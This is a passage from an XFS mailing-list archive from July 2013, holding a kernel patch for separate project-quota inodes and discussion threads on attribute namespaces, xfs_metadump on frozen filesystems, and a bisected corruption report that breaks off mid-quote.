17:36:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ABD6A7F51 for ; Fri, 19 Jul 2013 17:36:11 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8C0C18F8054 for ; Fri, 19 Jul 2013 15:36:11 -0700 (PDT) X-ASG-Debug-ID: 1374273369-04cbb0469011c4950001-NocioJ Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.150]) by cuda.sgi.com with ESMTP id hYDMrFU4hH6tFuir (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 15:36:10 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.150 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] Received: from /spool/local by e32.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 19 Jul 2013 16:36:06 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] Received: from d03dlp02.boulder.ibm.com (9.17.202.178) by e32.co.us.ibm.com (192.168.1.132) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 19 Jul 2013 16:36:03 -0600 Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106]) by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 807413E40030 for ; Fri, 19 Jul 2013 16:35:41 -0600 (MDT) Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245]) by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6JMa3ch386328 for ; Fri, 19 Jul 2013 16:36:03 -0600 Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6JMce3J012964 for ; Fri, 19 Jul 2013 16:38:40 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6JMcexx012950 for ; Fri, 19 Jul 2013 16:38:40 -0600 Subject: [PATCH] xfs: Start using pquotaino from the superblock. From: Chandra Seetharaman X-ASG-Orig-Subj: [PATCH] xfs: Start using pquotaino from the superblock. Reply-To: sekharan@us.ibm.com To: XFS mailing list Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Fri, 19 Jul 2013 17:36:02 -0500 Message-ID: <1374273362.8941.2086.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071922-5406-0000-0000-00000AA23A00 X-Barracuda-Connect: e32.co.us.ibm.com[32.97.110.150] X-Barracuda-Start-Time: 1374273370 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Change from the previous version: Addressed Ben's comments - removed unnecessary sb_gquotino == NULLFSINO check in xfs_sb_quota_to_disk() - Changed the fs_quota_stat logic to not fail with EINVAL if both gquota and pquota are available. Instead, fill fs_quota_stat only with gquota information. ---- Start using pquotino and define a macro to check if the superblock has pquotino. Keep backward compatibilty by alowing mount of older superblock with no separate pquota inode. Signed-off-by: Chandra Seetharaman --- fs/xfs/xfs_mount.c | 62 ++++++++++++++++++++++++++++++++++----- fs/xfs/xfs_qm.c | 72 ++++++++++++++++++++++++++++++++++----------- fs/xfs/xfs_qm_syscalls.c | 35 +++++++++++++++++++--- fs/xfs/xfs_sb.h | 13 ++++++-- fs/xfs/xfs_super.c | 19 ++++++------ 6 files changed, 159 insertions(+), 44 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 7263e1b..a0fa802 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -336,14 +336,6 @@ xfs_mount_validate_sb( return XFS_ERROR(EWRONGFS); } - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { - xfs_notice(mp, -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); - return XFS_ERROR(EFSCORRUPTED); - } - /* * Version 5 superblock feature mask validation. Reject combinations the * kernel cannot support up front before checking anything else. For @@ -387,6 +379,19 @@ xfs_mount_validate_sb( } } + if (xfs_sb_version_has_pquotino(sbp)) { + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { + xfs_notice(mp, + "Version 5 of Super block has XFS_OQUOTA bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + } else if (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) { + xfs_notice(mp, +"Superblock earlier than Version 5 has XFS_[PQ]UOTA_{ENFD|CHKD} bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + if (unlikely( sbp->sb_logstart == 0 && mp->m_logdev_targp == mp->m_ddev_targp)) { xfs_warn(mp, @@ -590,6 +595,13 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) if (sbp->sb_pquotino == 0) sbp->sb_pquotino = NULLFSINO; + /* + * We need to do these manipilations only if we are working + * with an older version of on-disk superblock. + */ + if (xfs_sb_version_has_pquotino(sbp)) + return; + if (sbp->sb_qflags & XFS_OQUOTA_ENFD) sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; @@ -597,6 +609,18 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); + + if (sbp->sb_qflags & XFS_PQUOTA_ACCT) { + /* + * In older version of superblock, on-disk superblock only + * has sb_gquotino, and in-core superblock has both sb_gquotino + * and sb_pquotino. But, only one of them is supported at any + * point of time. So, if PQUOTA is set in disk superblock, + * copy over sb_gquotino to sb_pquotino. + */ + sbp->sb_pquotino = sbp->sb_gquotino; + sbp->sb_gquotino = NULLFSINO; + } } void @@ -668,6 +692,13 @@ xfs_sb_quota_to_disk( { __uint16_t qflags = from->sb_qflags; + /* + * We need to do these manipilations only if we are working + * with an older version of on-disk superblock. + */ + if (xfs_sb_version_has_pquotino(from)) + return; + if (*fields & XFS_SB_QFLAGS) { /* * The in-core version of sb_qflags do not have @@ -687,6 +718,21 @@ xfs_sb_quota_to_disk( to->sb_qflags = cpu_to_be16(qflags); *fields &= ~XFS_SB_QFLAGS; } + + /* + * GQUOTINO and PQUOTINO cannot be used together in versions + * of superblock that do not have pquotino. from->sb_flags + * tells us which quota is active and should be copied to + * disk. + */ + if ((*fields & XFS_SB_GQUOTINO) && + (from->sb_qflags & XFS_GQUOTA_ACCT)) + to->sb_gquotino = cpu_to_be64(from->sb_gquotino); + else if ((*fields & XFS_SB_PQUOTINO) && + (from->sb_qflags & XFS_PQUOTA_ACCT)) + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); + + *fields &= ~(XFS_SB_PQUOTINO | XFS_SB_GQUOTINO); } /* diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index d320794..1e2361d 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -834,6 +834,36 @@ xfs_qm_qino_alloc( int error; int committed; + *ip = NULL; + /* + * With superblock that doesn't have separate pquotino, we + * share an inode between gquota and pquota. If the on-disk + * superblock has GQUOTA and the filesystem is now mounted + * with PQUOTA, just use sb_gquotino for sb_pquotino and + * vice-versa. + */ + if (!xfs_sb_version_has_pquotino(&mp->m_sb) && + (flags & (XFS_QMOPT_PQUOTA|XFS_QMOPT_GQUOTA))) { + xfs_ino_t ino = NULLFSINO; + + if ((flags & XFS_QMOPT_PQUOTA) && + (mp->m_sb.sb_gquotino != NULLFSINO)) { + ino = mp->m_sb.sb_gquotino; + ASSERT(mp->m_sb.sb_pquotino == NULLFSINO); + } else if ((flags & XFS_QMOPT_GQUOTA) && + (mp->m_sb.sb_pquotino != NULLFSINO)) { + ino = mp->m_sb.sb_pquotino; + ASSERT(mp->m_sb.sb_gquotino == NULLFSINO); + } + if (ino != NULLFSINO) { + error = xfs_iget(mp, NULL, ino, 0, 0, ip); + if (error) + return error; + mp->m_sb.sb_gquotino = NULLFSINO; + mp->m_sb.sb_pquotino = NULLFSINO; + } + } + tp = xfs_trans_alloc(mp, XFS_TRANS_QM_QINOCREATE); if ((error = xfs_trans_reserve(tp, XFS_QM_QINOCREATE_SPACE_RES(mp), @@ -844,11 +874,14 @@ xfs_qm_qino_alloc( return error; } - error = xfs_dir_ialloc(&tp, NULL, S_IFREG, 1, 0, 0, 1, ip, &committed); - if (error) { - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | - XFS_TRANS_ABORT); - return error; + if (!*ip) { + error = xfs_dir_ialloc(&tp, NULL, S_IFREG, 1, 0, 0, 1, ip, + &committed); + if (error) { + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | + XFS_TRANS_ABORT); + return error; + } } /* @@ -860,21 +893,25 @@ xfs_qm_qino_alloc( if (flags & XFS_QMOPT_SBVERSION) { ASSERT(!xfs_sb_version_hasquota(&mp->m_sb)); ASSERT((sbfields & (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)) == - (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)); + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | XFS_SB_QFLAGS)) == + (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | + XFS_SB_QFLAGS)); xfs_sb_version_addquota(&mp->m_sb); mp->m_sb.sb_uquotino = NULLFSINO; mp->m_sb.sb_gquotino = NULLFSINO; + mp->m_sb.sb_pquotino = NULLFSINO; - /* qflags will get updated _after_ quotacheck */ - mp->m_sb.sb_qflags = 0; + /* qflags will get updated fully _after_ quotacheck */ + mp->m_sb.sb_qflags = mp->m_qflags & XFS_ALL_QUOTA_ACCT; } if (flags & XFS_QMOPT_UQUOTA) mp->m_sb.sb_uquotino = (*ip)->i_ino; - else + else if (flags & XFS_QMOPT_GQUOTA) mp->m_sb.sb_gquotino = (*ip)->i_ino; + else + mp->m_sb.sb_pquotino = (*ip)->i_ino; spin_unlock(&mp->m_sb_lock); xfs_mod_sb(tp, sbfields); @@ -1484,11 +1521,10 @@ xfs_qm_init_quotainos( if (error) goto error_rele; } - /* XXX: Use gquotino for now */ if (XFS_IS_PQUOTA_ON(mp) && - mp->m_sb.sb_gquotino != NULLFSINO) { - ASSERT(mp->m_sb.sb_gquotino > 0); - error = xfs_iget(mp, NULL, mp->m_sb.sb_gquotino, + mp->m_sb.sb_pquotino != NULLFSINO) { + ASSERT(mp->m_sb.sb_pquotino > 0); + error = xfs_iget(mp, NULL, mp->m_sb.sb_pquotino, 0, 0, &pip); if (error) goto error_rele; @@ -1496,7 +1532,8 @@ xfs_qm_init_quotainos( } else { flags |= XFS_QMOPT_SBVERSION; sbflags |= (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | - XFS_SB_GQUOTINO | XFS_SB_QFLAGS); + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | + XFS_SB_QFLAGS); } /* @@ -1524,9 +1561,8 @@ xfs_qm_init_quotainos( flags &= ~XFS_QMOPT_SBVERSION; } if (XFS_IS_PQUOTA_ON(mp) && pip == NULL) { - /* XXX: Use XFS_SB_GQUOTINO for now */ error = xfs_qm_qino_alloc(mp, &pip, - sbflags | XFS_SB_GQUOTINO, + sbflags | XFS_SB_PQUOTINO, flags | XFS_QMOPT_PQUOTA); if (error) goto error_rele; diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index e4f8b2d..8d9e4c7 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -296,8 +296,10 @@ xfs_qm_scall_trunc_qfiles( if (flags & XFS_DQ_USER) error = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_uquotino); - if (flags & (XFS_DQ_GROUP|XFS_DQ_PROJ)) + if (flags & XFS_DQ_GROUP) error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_gquotino); + if (flags & XFS_DQ_PROJ) + error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_pquotino); return error ? error : error2; } @@ -413,8 +415,10 @@ xfs_qm_scall_getqstat( struct xfs_quotainfo *q = mp->m_quotainfo; struct xfs_inode *uip = NULL; struct xfs_inode *gip = NULL; + struct xfs_inode *pip = NULL; bool tempuqip = false; bool tempgqip = false; + bool temppqip = false; memset(out, 0, sizeof(fs_quota_stat_t)); @@ -424,16 +428,14 @@ xfs_qm_scall_getqstat( out->qs_gquota.qfs_ino = NULLFSINO; return (0); } + out->qs_flags = (__uint16_t) xfs_qm_export_flags(mp->m_qflags & (XFS_ALL_QUOTA_ACCT| XFS_ALL_QUOTA_ENFD)); - out->qs_pad = 0; - out->qs_uquota.qfs_ino = mp->m_sb.sb_uquotino; - out->qs_gquota.qfs_ino = mp->m_sb.sb_gquotino; - if (q) { uip = q->qi_uquotaip; gip = q->qi_gquotaip; + pip = q->qi_pquotaip; } if (!uip && mp->m_sb.sb_uquotino != NULLFSINO) { if (xfs_iget(mp, NULL, mp->m_sb.sb_uquotino, @@ -445,18 +447,41 @@ xfs_qm_scall_getqstat( 0, 0, &gip) == 0) tempgqip = true; } + /* + * Q_XGETQSTAT doesn't have room for both group and project quotas. + * So, allow the project quota values to be copied out only if + * there is no group quota information available. + */ + if (!gip) { + if (!pip && mp->m_sb.sb_pquotino != NULLFSINO) { + if (xfs_iget(mp, NULL, mp->m_sb.sb_pquotino, + 0, 0, &pip) == 0) + temppqip = true; + } + } else + pip = NULL; if (uip) { + out->qs_uquota.qfs_ino = mp->m_sb.sb_uquotino; out->qs_uquota.qfs_nblks = uip->i_d.di_nblocks; out->qs_uquota.qfs_nextents = uip->i_d.di_nextents; if (tempuqip) IRELE(uip); } + if (gip) { + out->qs_gquota.qfs_ino = mp->m_sb.sb_gquotino; out->qs_gquota.qfs_nblks = gip->i_d.di_nblocks; out->qs_gquota.qfs_nextents = gip->i_d.di_nextents; if (tempgqip) IRELE(gip); } + if (pip) { + out->qs_gquota.qfs_ino = mp->m_sb.sb_gquotino; + out->qs_gquota.qfs_nblks = pip->i_d.di_nblocks; + out->qs_gquota.qfs_nextents = pip->i_d.di_nextents; + if (temppqip) + IRELE(pip); + } if (q) { out->qs_incoredqs = q->qi_dquots; out->qs_btimelimit = q->qi_btimelimit; diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 78f9e70..a6ff9d6 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -618,16 +618,23 @@ xfs_sb_has_incompat_log_feature( return (sbp->sb_features_log_incompat & feature) != 0; } -static inline bool -xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) { - return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; } /* * end of superblock version macros */ +static inline bool +xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +{ + return (ino == sbp->sb_uquotino || + ino == sbp->sb_gquotino || + ino == sbp->sb_pquotino); +} + #define XFS_SB_DADDR ((xfs_daddr_t)0) /* daddr in filesystem/ag */ #define XFS_SB_BLOCK(mp) XFS_HDR_BLOCK(mp, XFS_SB_DADDR) #define XFS_BUF_TO_SBP(bp) ((xfs_dsb_t *)((bp)->b_addr)) diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 1d68ffc..525524e 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -421,12 +421,6 @@ xfs_parseargs( } #endif - if ((mp->m_qflags & (XFS_GQUOTA_ACCT | XFS_GQUOTA_ACTIVE)) && - (mp->m_qflags & (XFS_PQUOTA_ACCT | XFS_PQUOTA_ACTIVE))) { - xfs_warn(mp, "cannot mount with both project and group quota"); - return EINVAL; - } - if ((dsunit && !dswidth) || (!dsunit && dswidth)) { xfs_warn(mp, "sunit and swidth must be specified together"); return EINVAL; @@ -556,14 +550,13 @@ xfs_showargs( else if (mp->m_qflags & XFS_UQUOTA_ACCT) seq_puts(m, "," MNTOPT_UQUOTANOENF); - /* Either project or group quotas can be active, not both */ - if (mp->m_qflags & XFS_PQUOTA_ACCT) { if (mp->m_qflags & XFS_PQUOTA_ENFD) seq_puts(m, "," MNTOPT_PRJQUOTA); else seq_puts(m, "," MNTOPT_PQUOTANOENF); - } else if (mp->m_qflags & XFS_GQUOTA_ACCT) { + } + if (mp->m_qflags & XFS_GQUOTA_ACCT) { if (mp->m_qflags & XFS_GQUOTA_ENFD) seq_puts(m, "," MNTOPT_GRPQUOTA); else @@ -1396,6 +1389,14 @@ xfs_finish_flags( return XFS_ERROR(EROFS); } + if ((mp->m_qflags & (XFS_GQUOTA_ACCT | XFS_GQUOTA_ACTIVE)) && + (mp->m_qflags & (XFS_PQUOTA_ACCT | XFS_PQUOTA_ACTIVE)) && + !xfs_sb_version_has_pquotino(&mp->m_sb)) { + xfs_warn(mp, + "Super block does not support project and group quota together"); + return XFS_ERROR(EINVAL); + } + return 0; } -- 1.7.1 From bpm@sgi.com Fri Jul 19 17:39:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 52A677F51 for ; Fri, 19 Jul 2013 17:39:20 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id B75D6AC006; Fri, 19 Jul 2013 15:39:16 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 521DA4266DC; Fri, 19 Jul 2013 17:39:16 -0500 (CDT) Date: Fri, 19 Jul 2013 17:39:16 -0500 From: Ben Myers To: Linda Walsh Cc: Linux-Xfs , acl-devel@nongnu.org Subject: Re: choice of 'namespace' for ACL's Message-ID: <20130719223916.GV1681@sgi.com> References: <51E8FE5F.8030107@tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <51E8FE5F.8030107@tlinx.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Linda, On Fri, Jul 19, 2013 at 01:52:47AM -0700, Linda Walsh wrote: > I was looking at the attr and it left me a bit puzzled. > > (1) Of minor consideration, was the statement about 'values can be up > to 64KB'... But there is no mention of how many names can be present > or if there is a cumulative maximum on the names or on the data. I thought > I remembered there was, but all I found was limits on single datums. IIRC there isn't an artificial cap on the number of entries, and the attribute code is using similar structures as directories and block maps. Normally data are inline with the names, but with remote attributes the large ones will have the data stored elsewhere.. So the answer is... many? > (2) A more confusing issue was the bit describing XFS as having 2 > disjoint attrib > namespaces, but later the selectors for the names spaces are given as > [none] = user, [R] = root, and [S] = Security -- making it sound like 3 > disjoint > namespaces. So, how many attrib namespaces are their, 2 or 3? There are three: user, root/trusted, and security. > (3) Adding a bit more to pique my curiosity, I noticed that > file ACL's were in the root-namespace, not the security attribute namespace. > Wouldn't it make more sense if access control was considered a security > attrib? The security namespace is being used by selinux. I'm not clear on all of the history how it came to be this way.. Maybe someone can pipe up and explain that. > Another point of confusion was on the attrib manpage where it says: > CAVEATS > The list option present in the IRIX version of this command is > not sup‐ > ported. getfattr provides a mechanism to retrieve all of the > attribute > names. > > (4) What does that mean? i.e.: > > when I use attr -l: > > > attr -l openssh-6.1p1-hpn13v14.diff.gz > Attribute "DOSATTRIB" has a 56 byte value for openssh-6.1p1-hpn13v14.diff.gz > Attribute "SAMBA_PAI" has a 25 byte value for openssh-6.1p1-hpn13v14.diff.gz > > or addint the -q switch with -l: > > > attr -ql openssh-6.1p1-hpn13v14.diff.gz > DOSATTRIB > SAMBA_PAI It sure seems like 'attr -l' is working for you. > --- > Does "not supported" mean that it is working by accident and may be > removed ... because....[_________???______]? It may be that the manpage is out of date? > getfattr is suggested as a replacement, but > (5) how can it be used to list the lengths? and > (6) how can it be used to list the Security or Root namespaces? > > Sorry for all the Q's, but it seemed like there were some missing pieces... Hmm. Maybe try over on acl-devel@nongnu.org? Regards, Ben From esandeen@redhat.com Fri Jul 19 18:35:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D332A7F3F for ; Fri, 19 Jul 2013 18:35:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C384D304062 for ; Fri, 19 Jul 2013 16:34:59 -0700 (PDT) X-ASG-Debug-ID: 1374276898-04cbb0469111c7ba0001-w1Z2WR Received: from mx4-phx2.redhat.com (mx4-phx2.redhat.com [209.132.183.25]) by cuda.sgi.com with ESMTP id q6NW3D5k9gX6J4Tr; Fri, 19 Jul 2013 16:34:58 -0700 (PDT) X-Barracuda-Envelope-From: esandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.25 Received: from zmail14.collab.prod.int.phx2.redhat.com (zmail14.collab.prod.int.phx2.redhat.com [10.5.83.16]) by mx4-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6JNYvJX005328; Fri, 19 Jul 2013 19:34:57 -0400 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: Re: [PATCH] xfs_metadump: manpage fix regarding frozen fs References: <51E4AD14.7080904@redhat.com> <20130719202055.GH3572@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs_metadump: manpage fix regarding frozen fs From: Eric Sandeen MIME-Version: 1.0 In-Reply-To: <20130719202055.GH3572@sgi.com> Message-Id: <87CEB35B-5931-49C9-8075-F44851F6E8ED@redhat.com> Date: Fri, 19 Jul 2013 19:34:57 -0400 (EDT) To: Ben Myers Cc: Eric Sandeen , "linux-xfs@oss.sgi.com" X-Mailer: Zimbra 8.0.3_GA_5664 (MobileSync - Apple-iPhone3C1/1001.523) Thread-Topic: xfs_metadump: manpage fix regarding frozen fs Thread-Index: 3VaQz1NB+oDmtBcAjGbMwmyv/1OyFQ== X-Barracuda-Connect: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Start-Time: 1374276898 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.84 X-Barracuda-Spam-Status: No, SCORE=0.84 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars On Jul 19, 2013, at 3:20 PM, Ben Myers wrote: > Hey Eric, >=20 > On Mon, Jul 15, 2013 at 09:16:52PM -0500, Eric Sandeen wrote: >> The xfs_metadump manpage states that metadump works >> on a frozen filesystem; it does not. In fact, there is >> no way to detect a frozen filesystem, so we can't make it >> work, either. >>=20 >> So just remove this from the manpage; unmounted or RO >> mounted is what is enforced by xfs_metadump. >>=20 >> Signed-off-by: Eric Sandeen >=20 > I gave this a try and it *seemed* to work fine on a frozen filesystem. > Can you provide a bit of detail about why xfs_metadump doesn't work on > frozen filesystems? What am I missing? >=20 Hum, when I tried it it didn't work. I can retest, but AFAIK there is no wa= y to detect a frozen fs in the first place, so how could it work? -Eric > Thanks, > Ben From david@fromorbit.com Sat Jul 20 03:45:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 737F87F3F for ; Sat, 20 Jul 2013 03:45:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DFFD3AC003 for ; Sat, 20 Jul 2013 01:44:56 -0700 (PDT) X-ASG-Debug-ID: 1374309894-04cbb0468f11e6050001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id tC4OWYCRC6zg7Gfj for ; Sat, 20 Jul 2013 01:44:55 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnYMAOtM6lF5LNhQ/2dsb2JhbABagwa8I4UtBAGBEBd0giQBAQQBOhwjBQsIAxQECSUPBSUDIROICgW3CBaOXIEdB4MQbgOXXJFOgyQq Received: from ppp121-44-216-80.lns20.syd7.internode.on.net (HELO dastard) ([121.44.216.80]) by ipmail05.adl6.internode.on.net with ESMTP; 20 Jul 2013 18:14:53 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V0Nh4-0006bC-52; Sat, 20 Jul 2013 13:18:50 +1000 Date: Sat, 20 Jul 2013 13:18:40 +1000 From: Dave Chinner To: Mark Tinguely Cc: Markus Trippelsdorf , Ben Myers , Stan Hoeppner , xfs@oss.sgi.com Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130720031840.GA11674@dastard> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <51E9AB80.4000700@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51E9AB80.4000700@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374309894 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 19, 2013 at 04:11:28PM -0500, Mark Tinguely wrote: > On 07/19/13 07:22, Markus Trippelsdorf wrote: > > > >I've bisected this issue to the following commit: > > > > commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > > Author: Dave Chinner > > Date: Thu Jun 27 16:04:49 2013 +1000 > > > > xfs: don't do IO when creating an new inode > > > >Reverting this commit on top of the Linus tree "solves" all problems for > >me. IOW I no longer loose my KDE and LibreOffice config files during a > >crash. Log recovery now works fine and xfs_repair shows no issues. > 